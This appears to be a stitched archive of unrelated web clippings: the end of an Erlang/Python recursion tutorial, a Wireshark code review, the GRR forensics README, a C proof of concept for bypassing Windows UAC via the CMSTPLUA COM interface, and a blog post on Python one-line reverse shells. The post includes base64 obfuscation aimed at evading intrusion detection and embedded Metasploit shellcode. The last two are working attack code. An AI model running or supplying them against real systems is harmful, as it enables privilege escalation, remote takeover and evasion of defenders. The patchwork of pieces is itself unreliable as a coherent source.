    15
    >>> samples.suma([1,2,3,4,5])
    15
    >>> 
    
[/code]

And the Erlang version are basically the same.

[code]

     sum([]) -> 0;
     sum([H|T]) ->  H + sum(T).
    
     suma(L) -> suma(L,0).
     suma([],Acc)    -> Acc;
     suma([H|T],Acc) -> suma(T, Acc+H).
     
[/code]

Let's run it in the Erlang shell

[code]

     Eshell V5.6.3  (abort with ^G)
     1> c(samples.erl).
     {ok,samples}
     2> samples:sum([1,2,3,4,5,6]).
     21
     3> samples:suma([1,2,3,4,5,6]).
     21
     4>
    
[/code]

## Quicksort in Python and Erlang

Finally, let's look at the classic Quicksort algorithm in both Python and
Erlang.

The algorithm is beautifull in its simple recursion and may remind you of the
"Tower of Hanoi", another project on this site. Basically, a list of items is
seperated into two lists based on picking a random element from the list,
which we call the pivot. Items greater than the pivot go to one list and those
less than to the other. Those equal to the pivot, if any, are assigned
uniformily to one of the two lists. Here is a Python version of the split
function, using only recursion. \(no while loop\)

[code]

    def split(P, L, A=[], B=[]) :
        if   not L : return [A,B]
        H = L[0]                # H and T assigned only once
        T = L[1:]
        if H <= P : return split(P, T, [H]+A, B    )
        else      : return split(P, T, A,     [H]+B)
    
[/code]

Take a deep breath. This is the trickiest bit of code you'll see here. The
recursion is replacing what would normally be a while loop. Each recursive
call operates on the tail of the previous call, assigning the head to one of
the two output lists. The output lists are carried the recursion and the whole
thing is nicely tail recursive.

[code]

    A sample run
    
    >>> samples.split(5,[1,2,3,4,5,6,7,8,9])
    [[5, 4, 3, 2, 1], [9, 8, 7, 6]]
    >>> 
    
[/code]

Once we have the function to split lists, the sort itself is not difficult. To
sort a list, including the recursive sub-lists, we just use the head of the
list as the pivot, split the tail into two lists, sort each of them and
finally recombine everthing with Python list concatenation. Here is the code.

[code]

    def sort(L) :
        if not L : return []
        H = L[0]                # H and T assigned only once
        T = L[1:]
        [A,B] = split(H,T)
        print "Pivot %s: %s --> %s %s" % (H,T,A,B)
        return sort(A) + [H] + sort(B)
    
[/code]

To make it a little more interesting, we print the results of each split; the
pivot value, the input list and the outputs.

[code]

    >>> samples.sort([5,4,3,6,7,8,4,3])
    Pivot 5: [4, 3, 6, 7, 8, 4, 3] --> [3, 4, 3, 4] [8, 7, 6]
    Pivot 3: [4, 3, 4] --> [3] [4, 4]
    Pivot 3: [] --> [] []
    Pivot 4: [4] --> [4] []
    Pivot 4: [] --> [] []
    Pivot 8: [7, 6] --> [6, 7] []
    Pivot 6: [7] --> [] [7]
    Pivot 7: [] --> [] []
    [3, 3, 4, 4, 5, 6, 7, 8]
    >>> 
    
[/code]

Finally, let's see the whole program in Erlang.

[code]

    split(P,L) -> split(P,L,[],[]).
     
    split(_,[],A,B) -> [A,B];
    split(P,[H|T],A,B) when H =< P -> split(P,T,[H|A],  B);
    split(P,[H|T],A,B)             -> split(P,T,   A,[H|B]).
     
    
    sort( []   ) -> [];
    sort([H|T])  ->
            [A,B] = split(H,T),
            io:format("Pivot ~p: ~p ~p ~p~n",[H,T,A,B]),
            sort(A) ++ [H] ++ sort(B).
    
[/code]

And here's it in action.

[code]

    Eshell V5.6.3  (abort with ^G)
    1> samples:sort([5,4,3,6,7,8,4,3]).
    Pivot 5: [4,3,6,7,8,4,3] [3,4,3,4] [8,7,6]
    Pivot 3: [4,3,4] [3] [4,4]
    Pivot 3: [] [] []
    Pivot 4: [4] [4] []
    Pivot 4: [] [] []
    Pivot 8: [7,6] [6,7] []
    Pivot 6: [7] [] [7]
    Pivot 7: [] [] []
    [3,3,4,4,5,6,7,8]
    2>
    
[/code]

## Conclusion

Of course, there is much more to Erlang what's shown here. But in my
experience, getting very familiar with this particular pattern of programming
was the necessary first step in working with functional programs. If you are
new to this, I would suggest that you give yourself some challenges, for
example, zip two lists together or append two lists without using the "+" or
"++" operators. You'll make lots of mistakes \(and find them\) but that is
often a necessary part of the learning process. Good Luck and have fun.

Index

# Heuristic path pruning algorithm based on error handling pattern recognition
in detecting vulnerability

**Created:**| _11/6/2013 9:54:10 PM_  
---|---  
**Updated:**| _11/6/2013 9:55:26 PM_  
**Author:**| _wishi_  
**Tags:**| _vulnerability mitigations_  
  

  

  
<img src='img/179582496-06605772-ps.pdf' />  
  

# UAC bypass using CMSTPLUA COM interface

**Created:**| _9/4/2017 9:29:04 AM_  
---|---  
**Updated:**| _9/4/2017 9:29:04 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

UAC bypass using CMSTPLUA COM interface

Raw

**akagi\_41.c** Permalink

1 | typedef interface ICMLuaUtil ICMLuaUtil;  
---|---  
2 |   
3 | typedef struct ICMLuaUtilVtbl \{  
4 |   
5 |  BEGIN\_INTERFACE  
6 |   
7 |  HRESULT\(STDMETHODCALLTYPE \*QueryInterface\)\(  
8 |  \_\_RPC\_\_in ICMLuaUtil \* This,  
9 |  \_\_RPC\_\_in REFIID riid,  
10 |  \_COM\_Outptr\_ void \*\*ppvObject\);  
11 |   
12 |  ULONG\(STDMETHODCALLTYPE \*AddRef\)\(  
13 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
14 |   
15 |  ULONG\(STDMETHODCALLTYPE \*Release\)\(  
16 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
17 |   
18 |  HRESULT\(STDMETHODCALLTYPE \*Method1\)\(  
19 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
20 |   
21 |  HRESULT\(STDMETHODCALLTYPE \*Method2\)\(  
22 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
23 |   
24 |  HRESULT\(STDMETHODCALLTYPE \*Method3\)\(  
25 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
26 |   
27 |  HRESULT\(STDMETHODCALLTYPE \*Method4\)\(  
28 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
29 |   
30 |  HRESULT\(STDMETHODCALLTYPE \*Method5\)\(  
31 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
32 |   
33 |  HRESULT\(STDMETHODCALLTYPE \*Method6\)\(  
34 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
35 |   
36 |  HRESULT\(STDMETHODCALLTYPE \*ShellExec\)\(  
37 |  \_\_RPC\_\_in ICMLuaUtil \* This,   
38 |  \_In\_ LPCTSTR lpFile,  
39 |  \_In\_opt\_ LPCTSTR lpParameters,  
40 |  \_In\_opt\_ LPCTSTR lpDirectory,  
41 |  \_In\_ ULONG fMask,  
42 |  \_In\_ ULONG nShow  
43 |  \);  
44 |   
45 |  HRESULT\(STDMETHODCALLTYPE \*Method8\)\(  
46 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
47 |   
48 |  HRESULT\(STDMETHODCALLTYPE \*Method9\)\(  
49 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
50 |   
51 |  HRESULT\(STDMETHODCALLTYPE \*Method10\)\(  
52 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
53 |   
54 |  HRESULT\(STDMETHODCALLTYPE \*Method11\)\(  
55 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
56 |   
57 |  HRESULT\(STDMETHODCALLTYPE \*Method12\)\(  
58 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
59 |   
60 |  HRESULT\(STDMETHODCALLTYPE \*Method13\)\(  
61 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
62 |   
63 |  HRESULT\(STDMETHODCALLTYPE \*Method14\)\(  
64 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
65 |   
66 |  HRESULT\(STDMETHODCALLTYPE \*Method15\)\(  
67 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
68 |   
69 |  HRESULT\(STDMETHODCALLTYPE \*Method16\)\(  
70 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
71 |   
72 |  HRESULT\(STDMETHODCALLTYPE \*Method17\)\(  
73 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
74 |   
75 |  HRESULT\(STDMETHODCALLTYPE \*Method18\)\(  
76 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
77 |   
78 |  HRESULT\(STDMETHODCALLTYPE \*Method19\)\(  
79 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
80 |   
81 |  HRESULT\(STDMETHODCALLTYPE \*Method20\)\(  
82 |  \_\_RPC\_\_in ICMLuaUtil \* This\);  
83 |   
84 |  END\_INTERFACE  
85 |   
86 | \} \*PICMLuaUtilVtbl;  
87 |   
88 | interface ICMLuaUtil  
89 | \{  
90 |  CONST\_VTBL struct ICMLuaUtilVtbl \*lpVtbl;  
91 | \};  
92 |   
93 | \#define T\_CLSID\_CMSTPLUA L"\{3E5FC7F9-9A51-4367-9063-A120244FBEC7\}"  
94 | \#define T\_IID\_ICMLuaUtil L"\{6EDD6D74-C007-4E75-B76A-E5740995E24C\}"  
95 |   
96 | VOID Method41\_Test\(\)  
97 | \{  
98 |  HRESULT r = E\_FAIL;  
99 |  BOOL bCond = FALSE;  
100 |  IID xIID\_ICMLuaUtil;  
101 |  CLSID xCLSID\_ICMLuaUtil;  
102 |  ICMLuaUtil \*CMLuaUtil = NULL;  
103 |   
104 |  BIND\_OPTS3 bop;  
105 |  WCHAR szElevationMoniker\[MAX\_PATH\];  
106 |   
107 |  do \{  
108 |   
109 |  if \(CLSIDFromString\(T\_CLSID\_CMSTPLUA, &xCLSID\_ICMLuaUtil\) \!= NOERROR\) \{  
110 |  break;  
111 |  \}  
112 |  if \(IIDFromString\(T\_IID\_ICMLuaUtil, &xIID\_ICMLuaUtil\) \!= S\_OK\) \{  
113 |  break;  
114 |  \}  
115 |   
116 |  RtlSecureZeroMemory\(szElevationMoniker, sizeof\(szElevationMoniker\)\);  
117 |   
118 |  \_strcpy\(szElevationMoniker, L"Elevation:Administrator\!new:"\);  
119 |  \_strcat\(szElevationMoniker, T\_CLSID\_CMSTPLUA\);  
120 |   
121 |  RtlSecureZeroMemory\(&bop, sizeof\(bop\)\);  
122 |  bop.cbStruct = sizeof\(bop\);  
123 |  bop.dwClassContext = CLSCTX\_LOCAL\_SERVER;  
124 |   
125 |  r = CoGetObject\(szElevationMoniker, \(BIND\_OPTS \*\)&bop, &xIID\_ICMLuaUtil, &CMLuaUtil\);  
126 |  if \(r \!= S\_OK\) \{  
127 |  break;  
128 |  \}  
129 |   
130 |  r = CMLuaUtil->lpVtbl->ShellExec\(CMLuaUtil, L"C:\\\windows\\\system32\\\cmd.exe", NULL, NULL, SEE\_MASK\_DEFAULT, SW\_SHOW\);  
131 |   
132 |  \} while \(bCond\);  
133 |   
134 |  if \(CMLuaUtil \!= NULL\) \{  
135 |  CMLuaUtil->lpVtbl->Release\(CMLuaUtil\);  
136 |  \}  
137 |   
138 | \}  
<img src='img/11259_11855163.png' width='44' height='44' alt='@norandom' />

Attach files by dragging & dropping, selecting them, or pasting from the
clipboard.

Styling with Markdown is supported

  

# google/grr

**Created:**| _6/26/2015 10:49:41 AM_  
---|---  
**Updated:**| _6/26/2015 10:49:41 AM_  
**Author:**| __  
**Tags:**| _Forensics incident response_  
  

# google/grr

###  README.md

<img src='img/Temp2_10264.png' />

GRR Rapid Response is an incident response framework focused on remote live
forensics.

## Mailing Lists

  * GRR Users: grr-users
  * GRR Developers: grr-dev

## Overview

GRR consists of an agent \(client\) that can be deployed to a target system,
and server infrastructure that can manage and talk to the agent.

Client Features:

  * Cross-platform support for Linux, Mac OS X and Windows clients.
  * Live remote memory analysis using open source memory drivers for Linux, Mac OS X and Windows, and the Rekall memory analysis framework.
  * Powerful search and download capabilities for files and the Windows registry.
  * Secure communication infrastructure designed for Internet deployment.
  * Client automatic update support.
  * Detailed monitoring of client CPU, memory, IO usage and self-imposed limits.

Server Features:

  * Fully fledged response capabilities handling most incident response and forensics tasks.
  * OS-level and raw file system access, using the SleuthKit \(TSK\).
  * Enterprise hunting \(searching across a fleet of machines\) support.
  * Fully scalable back-end to handle very large deployments.
  * Automated scheduling for recurring tasks.
  * Fast and simple collection of hundreds of digital forensic artifacts.
  * Asynchronous design allows future task scheduling for clients, designed to work with a large fleet of laptops.
  * Ajax Web UI.
  * Fully scriptable IPython console access.
  * Basic system timelining features.
  * Basic reporting infrastructure.

See quickstart to start using it.

## Screenshots

# Change I183e4741: 3GPP CBSP \(Cell Broadcast Service Protocol\) dissector | code.wireshark Code Review
**Created:**| _5/10/2019 8:19:10 AM_  
---|---  
**Updated:**| _5/10/2019 8:19:10 AM_  
**Author:**| __  
**Tags:**| _gsm sdr_  
  

  

Change 29745 \- Merged

3GPP CBSP \(Cell Broadcast Service Protocol\) dissector This protocol is spoken between the BSC \(Base Station Controller\) and the CBC \(Cell Broadcast Centre\). It runs over TCP Port 48049 and is specified in 3GPP TS 48.049. Change-Id: I183e4741e2db5b9cc4dfe2b89f7920a32af67971 Reviewed-on: https://code.wireshark.org/review/29745 Reviewed-by: Dario Lombardo <lomato@gmail.com> Petri-Dish: Dario Lombardo <lomato@gmail.com> Tested-by: Petri Dish Buildbot Reviewed-by: Anders Broman <a.broman58@gmail.com> | Author |  <img src='img/17dc8874db459ce00349469918638e6c.jpg' width='16' height='16' />Harald Welte <laforge@gnumonks.org> | Sep 8, 2018 10:13 AM  
---|---|---  
Committer |  <img src='img/avatar' width='16' height='16' />Anders Broman <a.broman58@gmail.com> | May 8, 2019 12:15 PM  
Commit  | aa8d948cf436e9b44ee229febfe3b05fb04d6fb5 |   
Parent\(s\)  |  f3a86c02dd8bda54cc23d0cc5fdd07702fbaa211 |   
Change-Id | I183e4741e2db5b9cc4dfe2b89f7920a32af67971  
| Owner |  <img src='img/17dc8874db459ce00349469918638e6c.jpg' width='16' height='16' />Harald Welte  
---|---  
Uploader |  <img src='img/avatar' width='16' height='16' />Anders Broman  
Assignee |   
Reviewers |  <img src='img/d62b869ec385c6bbc2c04dc7176e8ea8.jpg' width='16' height='26' />Alexis La Goutte <img src='img/avatar' width='16' height='26' />Anders Broman <img src='img/ac8659cc2519bdd02cc2baae1357236f.jpg' width='16' height='26' />Dario Lombardo <img src='img/d2a7e24ca66604c749c7c88c1da8ff78.jpg' width='16' height='26' />Graham Bloice <img src='img/17dc8874db459ce00349469918638e6c.jpg' width='16' height='26' />Harald Welte Petri Dish Buildbot <img src='img/0ebe6b2e049016bce707c1cb7958d05c.jpg' width='16' height='26' />Vasil Velichkov  
|  
Project | wireshark <img src='img/Temp2_1407.png' width='16' height='16' />  
Branch | master  
Topic |  cbsp  
Updated | 2 days ago  
* * *
Code-Review| +2 <img src='img/avatar' width='16' height='26' />Anders Broman  
+1 <img src='img/ac8659cc2519bdd02cc2baae1357236f.jpg' width='16' height='26'
/>Dario Lombardo  
---|---  
Petri-Dish| +1 <img src='img/ac8659cc2519bdd02cc2baae1357236f.jpg' width='16'
height='26' />Dario Lombardo  
Verified| +1 Petri Dish Buildbot  
Files

Diff against:

| | | File Path| Comments| Size  
---|---|---|---|---|---  
<img src='img/Temp2_1406.png' width='16' height='16' />| | | Commit Message| | | | |   
| | | docbook/release-notes.adoc| | | | 1|   
| | | epan/dissectors/CMakeLists.txt| | | | 1|   
| | A| epan/dissectors/packet-gsm\_cbsp.c| | | | 935|   
| | | | | +937, -0|   
History

<img src='img/17dc8874db459ce00349469918638e6c.jpg' width='20' height='20' />

Harald Welte

Uploaded patch set 1.

Sep 19, 2018

<img src='img/17dc8874db459ce00349469918638e6c.jpg' width='20' height='20' />

Harald Welte

Patch Set 1: Code-Review-1 I thought I could upload it and mark this as "WIP"
\(to prevent merge\), but it seems that's a feature of more recent gerrit
versions. In any case, I just wrote that dissector from scratch without any
actual protocol traces to validate it against. I'll try to find some and test
it before merge. Meanwhile, it can stay here in case anyone is interested in
testing it.

Sep 19, 2018

<img src='img/d62b869ec385c6bbc2c04dc7176e8ea8.jpg' width='20' height='20' />

Alexis La Goutte

Patch Set 1: Petri-Dish+1

Sep 20, 2018

Petri Dish Buildbot

Patch Set 1: Verified-1 Builder Ubuntu Petri Dish x64 succeeded \(build
successful\) - http://buildbot.wireshark.org/petri-
dish/builders/Ubuntu%20Petri%20Dish%20x64/builds/5062 Builder Windows Petri
Dish x64 failed \(failed compile\_1\) - http://buildbot.wireshark.org/petri-
dish/builders/Windows%20Petri%20Dish%20x64/builds/5058

Sep 20, 2018

<img src='img/d62b869ec385c6bbc2c04dc7176e8ea8.jpg' width='20' height='20' />

Alexis La Goutte

Patch Set 1: > Patch Set 1: Code-Review-1 > > I thought I could upload it and
mark this as "WIP" \(to prevent merge\), but it seems that's a feature of more
recent gerrit versions. > Better \(if it is possible to you, it is to set
core-review -2\)

Sep 20, 2018

<img src='img/17dc8874db459ce00349469918638e6c.jpg' width='20' height='20' />

Harald Welte

Uploaded patch set 2.

Sep 20, 2018

<img src='img/17dc8874db459ce00349469918638e6c.jpg' width='20' height='20' />

Harald Welte

Patch Set 2: Code-Review-1

Sep 20, 2018

<img src='img/17dc8874db459ce00349469918638e6c.jpg' width='20' height='20' />

Harald Welte

Patch Set 2: > Better \(if it is possible to you, it is to set core-review
-2\) I don't have that privilege as a normal contributor, sorry :\)

Sep 20, 2018

<img src='img/17dc8874db459ce00349469918638e6c.jpg' width='20' height='20' />

Harald Welte

Patch Set 2: inteerim update: I received a CBSP protocol trace and the
dissector seems to work mostly fine. There's one bug \(typo\) in a string, and
it may be that the message content dissection isn't working as expected, at
least for some data coding scheme. Will investigate and update the dissector.
I also asked if the trace could be published. If yes, I'll create a bug in
bugzilla and attach the trace there.

Sep 25, 2018

<img src='img/0ebe6b2e049016bce707c1cb7958d05c.jpg' width='26' height='26' />

Vasil Velichkov

Sep 25, 2018

Patch Set 2:

\(4 comments\)

Hi Harald,

I just uploaded the sample trace I've sent you in
https://bugs.wireshark.org/bugzilla/show\_bug.cgi?id=15143

epan/dissectors/packet-gsm\_cbsp.c

Line 292:

The Message Content should be TLV\_TYPE\_FIXED, 83

From "3GPP TS 48.049 version 15.0.0 Release 15", "3GPP TS 48.049 version
15.0.0 Release 15"

The Message Content IE is a fixed length element coded as follows: 8 7 6 5 4 3
2 1 Element identifier octet 1 User Information Length octet 2 Message Content
octet 3 to 84

The "User Information Length" field is coded as the binary value of number of
octets of the “Message Content” field containing user information. When the
user information is less than 82 octets, the remaining octets of the “Message
Content” field must be filled with padding bits \(see 3GPP TS 23.038 \[4\]\).

Line 362:

The Message Content IE needs to be decoded similar to epan/dissectors/packet-
sabp.c Line 1777 - 1787

Line 384:

The len\_len is initialized with 0 on every iteration so here we could skip
setting it again.

Line 433:

The DCS value needs to be stored in a local variable and used later when
decoding the message content

<img src='img/d2a7e24ca66604c749c7c88c1da8ff78.jpg' width='20' height='20' />

Graham Bloice

Patch Set 2: Code-Review-2 > > Better \(if it is possible to you, it is to set
core-review -2\) > > I don't have that privilege as a normal contributor,
sorry :\) Setting to -2 as requested

Oct 2, 2018

<img src='img/ac8659cc2519bdd02cc2baae1357236f.jpg' width='20' height='20' />

Dario Lombardo

Patch Set 2: > Patch Set 2: Code-Review-2 > > > > Better \(if it is possible
to you, it is to set core-review -2\) > > > > I don't have that privilege as a
normal contributor, sorry :\) > > Setting to -2 as requested Just for the sake
of completeness: the supported way to upload a draft change on gerrit is to
use refs/drafts/<topic> instead of refs/for/master,

Oct 22, 2018

<img src='img/17dc8874db459ce00349469918638e6c.jpg' width='20' height='20' />

Harald Welte

Uploaded patch set 3.

May 3 10:21 PM

<img src='img/d62b869ec385c6bbc2c04dc7176e8ea8.jpg' width='20' height='20' />

Alexis La Goutte

Patch Set 3: Petri-Dish+1

May 4 8:07 AM

Petri Dish Buildbot

Patch Set 3: Verified+1 Builder Ubuntu Petri Dish x64 succeeded \(build
successful\) - http://buildbot.wireshark.org/petri-
dish/builders/Ubuntu%20Petri%20Dish%20x64/builds/7970 Builder Windows Petri
Dish x64 succeeded \(build successful\) - http://buildbot.wireshark.org/petri-
dish/builders/Windows%20Petri%20Dish%20x64/builds/7922

May 4 8:31 AM

<img src='img/d62b869ec385c6bbc2c04dc7176e8ea8.jpg' width='20' height='20' />

Alexis La Goutte

Patch Set 3: Graham can you remove -2 ?

May 4 9:06 AM

<img src='img/17dc8874db459ce00349469918638e6c.jpg' width='20' height='20' />

Harald Welte

Uploaded patch set 4.

May 4 1:19 PM

<img src='img/17dc8874db459ce00349469918638e6c.jpg' width='20' height='20' />

Harald Welte

Uploaded patch set 5.

May 4 3:07 PM

<img src='img/17dc8874db459ce00349469918638e6c.jpg' width='20' height='20' />

Harald Welte

Patch Set 5: Ok, revision 5 of this patch is now complete from my point of
view. It supports dissecting al linformation elements, including the various
different list types. It also provides summaries at the tree items so one
doesn't have to expand all the sub-trees to get a decent overview of what's
happening. So unless there are review issues from the wireshark developers, I
think it's ready for merge.

May 4 3:09 PM

<img src='img/ac8659cc2519bdd02cc2baae1357236f.jpg' width='20' height='20' />

Dario Lombardo

Patch Set 5: Hi Harald we've adopted SPDX identifiers for licences. Can you
use the appropriate one in your header? Thanks.

May 4 8:56 PM

<img src='img/avatar' width='20' height='20' />

Anders Broman

Patch Set 5: Petri-Dish+1

May 5 7:00 AM

Petri Dish Buildbot

Patch Set 5: Verified+1 Builder Ubuntu Petri Dish x64 succeeded \(build
successful\) - http://buildbot.wireshark.org/petri-
dish/builders/Ubuntu%20Petri%20Dish%20x64/builds/7973 Builder Windows Petri
Dish x64 succeeded \(build successful\) - http://buildbot.wireshark.org/petri-
dish/builders/Windows%20Petri%20Dish%20x64/builds/7925

May 5 7:25 AM

<img src='img/17dc8874db459ce00349469918638e6c.jpg' width='20' height='20' />

Harald Welte

Uploaded patch set 6.

May 6 12:44 PM

<img src='img/d62b869ec385c6bbc2c04dc7176e8ea8.jpg' width='20' height='20' />

Alexis La Goutte

Patch Set 6: Petri-Dish+1

May 6 12:52 PM

Petri Dish Buildbot

Patch Set 6: Verified+1 Builder Ubuntu Petri Dish x64 succeeded \(build
successful\) - http://buildbot.wireshark.org/petri-
dish/builders/Ubuntu%20Petri%20Dish%20x64/builds/7981 Builder Windows Petri
Dish x64 succeeded \(build successful\) - http://buildbot.wireshark.org/petri-
dish/builders/Windows%20Petri%20Dish%20x64/builds/7933

May 6 1:16 PM

<img src='img/17dc8874db459ce00349469918638e6c.jpg' width='20' height='20' />

Harald Welte

Uploaded patch set 7.

May 6 11:19 PM

<img src='img/ac8659cc2519bdd02cc2baae1357236f.jpg' width='20' height='20' />

Dario Lombardo

Patch Set 7: Petri-Dish+1 Code-Review+1

May 7 3:14 PM

Petri Dish Buildbot

Patch Set 7: Verified+1 Builder Ubuntu Petri Dish x64 succeeded \(build
successful\) - http://buildbot.wireshark.org/petri-
dish/builders/Ubuntu%20Petri%20Dish%20x64/builds/7992 Builder Windows Petri
Dish x64 succeeded \(build successful\) - http://buildbot.wireshark.org/petri-
dish/builders/Windows%20Petri%20Dish%20x64/builds/7944

May 7 3:36 PM

<img src='img/avatar' width='20' height='20' />

Anders Broman

Patch Set 7: Code-Review+2

May 8 7:04 AM

<img src='img/ac8659cc2519bdd02cc2baae1357236f.jpg' width='20' height='20' />

Dario Lombardo

Patch Set 7: still blocked by Graham's -2.

May 8 8:05 AM

<img src='img/d2a7e24ca66604c749c7c88c1da8ff78.jpg' width='20' height='20' />

Graham Bloice

Patch Set 7: -Code-Review Removing my -2

May 8 11:14 AM

<img src='img/avatar' width='20' height='20' />

Anders Broman

Change has been successfully cherry-picked as
aa8d948cf436e9b44ee229febfe3b05fb04d6fb5 by Anders Broman

May 8 12:15 PM

# PaulDotCom: Archives

**Created:**| _10/25/2011 11:29:00 AM_  
---|---  
**Updated:**| _10/25/2011 11:29:00 AM_  
**Author:**| __  
**Tags:**| _shellcode python Gray Hat Python \(book\)_  
  

# Python One Line Shellcode

By Mark Baggett on October 23, 2011 6:48 PM  | Permalink
You have remote command execution on a linux web server. Your normal tricks
for getting a shell don't work but you know that the system has a fully
functional python interpreter. In order to make your attack work you need to
put the entire attack into a single command line passed to a python
interpreter with the -c option. Here are a few python based one liners that
can be executed with the -c option and tips for creating additional shells.
Each of these examples shovel a shell to localhost. Start up a netcat listener
to receive the shell \(**_$nc -l -p 9000_**\) before launching these sample
attacks.

First we start out with a simple python reverse tcp connect shell like this
one.  
  

[code]

      
    
    import socket  
    
    import subprocess   
    
    s=socket.socket()   
    
    s.connect(("127.0.0.1",9000))   
    
    while 1:  
    
      p = subprocess.Popen(s.recv(1024),  shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)  
    
      s.send(p.stdout.read() + p.stderr.read())
[/code]

Then we try to collapse it down to one line by separating the existing lines
with semicolons. That is simple enough, but there is a problem. Python relies
on spacing to indicate the start and end of a code block. The while loop
doesn't want to collapse to a single line. But we can get it down to two
lines.  
  

[code]

    >>> import socket;import subprocess ;s=socket.socket() ;s.connect(("127.0.0.1",9000))   
    
    >>> while 1:  p = subprocess.Popen(s.recv(1024),  shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);  s.send(p.stdout.read() + p.stderr.read())
[/code]

  
  
If you keep the spacing straight and put those two lines into an interactive
python session it works properly. As soon as you try to collapse the two lines
with a semicolon you get a syntax error. The good news is you can get around
that with the "exec" method. Python's exec method is similar to "eval\(\)" in
javascript and we can use it to interpret a script with "\n" \(new lines\) in
it to separate the lines. Using this technique we get the following one line
python shell.

[code]

    markbaggett$ python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
[/code]

Setup a netcat listner on your localhost listening on port 9000 and this works
very nicely. If we are going to use exec\(\), we might as well add a little
IDS evasion to the mix and obscure our code. So lets drop into interactive
python and encode our payload.  
  

[code]

    markbaggett$ python  
    
    Python 2.5.1 (r251:54863, May  5 2011, 18:37:34)   
    
    [GCC 4.0.1 (Apple Inc. build 5465)] on darwin  
    
    Type "help", "copyright", "credits" or "license" for more information.  
    
    >>> shellcode="import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())"  
    
    >>> shellcode.encode("base64")  
    
    'aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcztzID0gc29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgo\nJzEyNy4wLjAuMScsOTAwMCkpCndoaWxlIDE6ICBwcm9jID0gc3VicHJvY2Vzcy5Qb3BlbihzLnJl\nY3YoMTAyNCksIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJw\ncm9jZXNzLlBJUEUsIHN0ZGluPXN1YnByb2Nlc3MuUElQRSk7cy5zZW5kKHByb2Muc3Rkb3V0LnJl\nYWQoKStwcm9jLnN0ZGVyci5yZWFkKCkp\n'
[/code]

  

Next we take the base64 encoded version of our payload and exec\(\) that with
the decode\(\) method to turn it back into our script source before execution.
Our one liner becomes this:  

[code]

    markbaggett$ python -c "exec('aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcztzID0gc29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgo\nJzEyNy4wLjAuMScsOTAwMCkpCndoaWxlIDE6ICBwcm9jID0gc3VicHJvY2Vzcy5Qb3BlbihzLnJl\nY3YoMTAyNCksIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJw\ncm9jZXNzLlBJUEUsIHN0ZGluPXN1YnByb2Nlc3MuUElQRSk7cy5zZW5kKHByb2Muc3Rkb3V0LnJl\nYWQoKStwcm9jLnN0ZGVyci5yZWFkKCkp\n'.decode('base64'))"
[/code]

Now lets apply this technique to a python shells that executes a payload from
the Metasploit framework such as the one I discussed on the SANS Penetration
Testing Blog. With this technique I create a python script that executes a
payload from the metasploit framework. In this example I'll use the osx
reverse tcp shell. After grabbing the stage1 bytes from "_**$./msfpayload
osx/x86/shell\_reverse\_tcp LHOST=127.0.0.1 C**_ " \( see SANS blog \) I built
the following python script.

[code]

    from ctypes import *  
    
    reverse_shell = "\x68\x7f\x00\x00\x01\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0\x50\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x54\x53\x50\xb0\x3b\xcd\x80"  
    
    memorywithshell = create_string_buffer(reverse_shell, len(reverse_shell))  
    
    shellcode = cast(memorywithshell, CFUNCTYPE(c_void_p))  
    
    shellcode()
[/code]

  
Spaces and carriage returns aren't a problem for this very simple script so
with a few semicolons we get the following one liner. We don't need to use the
"exec\(\)" function since we don't need to interpret multiple lines.

[code]

    root# python -c "from ctypes import *;reverse_shell = \"\x68\x7f\x00\x00\x01\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0\x50\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x54\x53\x50\xb0\x3b\xcd\x80\";memorywithshell = create_string_buffer(reverse_shell, len(reverse_shell));shellcode = cast(memorywithshell, CFUNCTYPE(c_void_p));shellcode()"
[/code]

  
Before pressing enter on the shell above you will need to setup the framework
